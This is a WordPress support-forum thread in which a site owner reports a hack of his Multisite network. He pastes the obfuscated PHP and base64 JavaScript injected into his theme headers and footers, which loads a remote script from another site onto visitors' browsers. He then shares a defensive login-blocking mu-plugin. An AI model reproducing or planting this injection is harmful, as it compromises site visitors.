• Resolved frank tredici

    (@frank13)


    All of my WPMS Network sites got hacked again. Last time it happened was through Gravity Forms so I totally deleted and deactivated all gravity forms across my network.

    This morning, at 04:39 AM ET, each of my sites and themes header.php and footer.php documents got altered.

    Here is what appears in one of them right after the <?php wp_head(); ?>

    <!--visitorTracker--><?php @ob_start();@ini_set("display_errors",0);@error_reporting(0);echo base64_decode("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGlkPSJpZF84MDA4NjQ5Ij4KdmFyIHZpc2l0b3
    J0cmFja2VyaW4gPSBzZXRJbnRlcnZhbChmdW5jdGlvbigpewoJaWYoZG9jdW1lbnQuYm9keSAhPSBudWxsICYmIHR5cGVvZiBkb2N1bWVudC5ib2R5ICE9ICJ1bmRlZmluZWQiKXsKCQljbGVhckludGVydmFsKHZpc2l0b3J0cmFja2VyaW4pOwoJ
    CWlmKHR5cGVvZiB3aW5kb3dbImdsb2JhbHZpc2l0b3IiXSA9PSAidW5kZWZpbmVkIil7CgkJCXdpbmRvd1siZ2xvYmFsdmlzaXRvciJdID0gMTsKCQkJdmFyIGlzSUUgPSB2aXNpdG9ydHJhY2tlcmRlKCk7CgkJCXZhciBpc0Nocm9tZSA9ICFpc0
    lFICYmICEhd2luZG93LmNocm9tZSAmJiB3aW5kb3cubmF2aWdhdG9yLnZlbmRvciA9PT0gIkdvb2dsZSBJbmMuIjsKICAgICAgICAgIAlpZih2aXNpdG9yVHJhY2tlcl9pc01vYigpKXsKICAgICAgICAgICAgICB2YXIgdmlzaXRvcnRyYWNrZXJ2
    cyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyB2aXNpdG9ydHJhY2tlcnZzLnNyYyA9ICJodHRwOi8vc3BvcnRhbWUubmV0L3dwLWNvbnRlbnQvdGhlbWVzL2Rhc2hhdXNtdXNldW0vbGF5b3V0cy9jb21tb25fY29uZmlncy9pbm
    RleC5waHA/bW9iPTEiOyBkb2N1bWVudC5nZXRFbGVtZW50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1M3w2MHw2MXw3MHw4MHw4MXw4M3w4NXw5OCl8dzNjKFwtfCApfHdlYmN8d2hpdHx3aShnIHxuY3xudyl8d21sYnx3b251fHg3MDB8eWFzXC18eW91cnx6ZXRvfHp0ZVwtL2kudGVzdCh1YS5zdWJzdHIoMCw0KSkpIHsKCQlyZXR1cm4gdH
    J1ZTsKCX0KCXJldHVybiBmYWxzZTsKfTwvc2NyaXB0Pg==");?><!--visitorTracker-->
Viewing 1 replies (of 1 total)
  • Thread Starter frank tredici

    (@frank13)

    Given the .htaccess method for preventing login attacks does not work in WordPress Multi-site, here is the solution I came up with for anyone wishing to truly button down their WPMS Network:

    Step 1: create a script and upload it to ./wp-content/mu-plugins/. I called my script “loginBlocker.php“.

    Step 2: here is the loginBlocker.php script:

    <?php
    /**
     * Plugin Name: WordPress Network Login Access & Control
     * Plugin URI: https://example.com/
     * Description: Login request intercept used on all sites in the network.
     * Version: 1.0
     * Author: F.Tredici
     * Author URI: https://example.com/ftredici/
     * License: GPLU
     */
    
    function loginController_func() {
    
        $authorizedIPs = array(
            '123.456.789.012', // authorized user #1
            '987.654.321.098' // authorized user #2
        );
    
        if (!in_array($_SERVER['REMOTE_ADDR'], $authorizedIPs)) {
            wp_redirect( 'https://example.com/', 301 );
            exit;
        }
    
    }
    add_action('wp_authenticate', 'loginController_func'); // hook for wp-admin
    add_action('login_init', 'loginController_func'); // hook for wp-login all actions
    ?>

    Step 3: simply add the IP Address(es) for your authorized login sources to the $authorizedIPs array() and you’ll have better “peace” of mind.

    Good luck and happy hacker-blocking.

Viewing 1 replies (of 1 total)
  • The topic ‘My Multisite Network Sites got Hacked Again – How to Prevent’ is closed to new replies.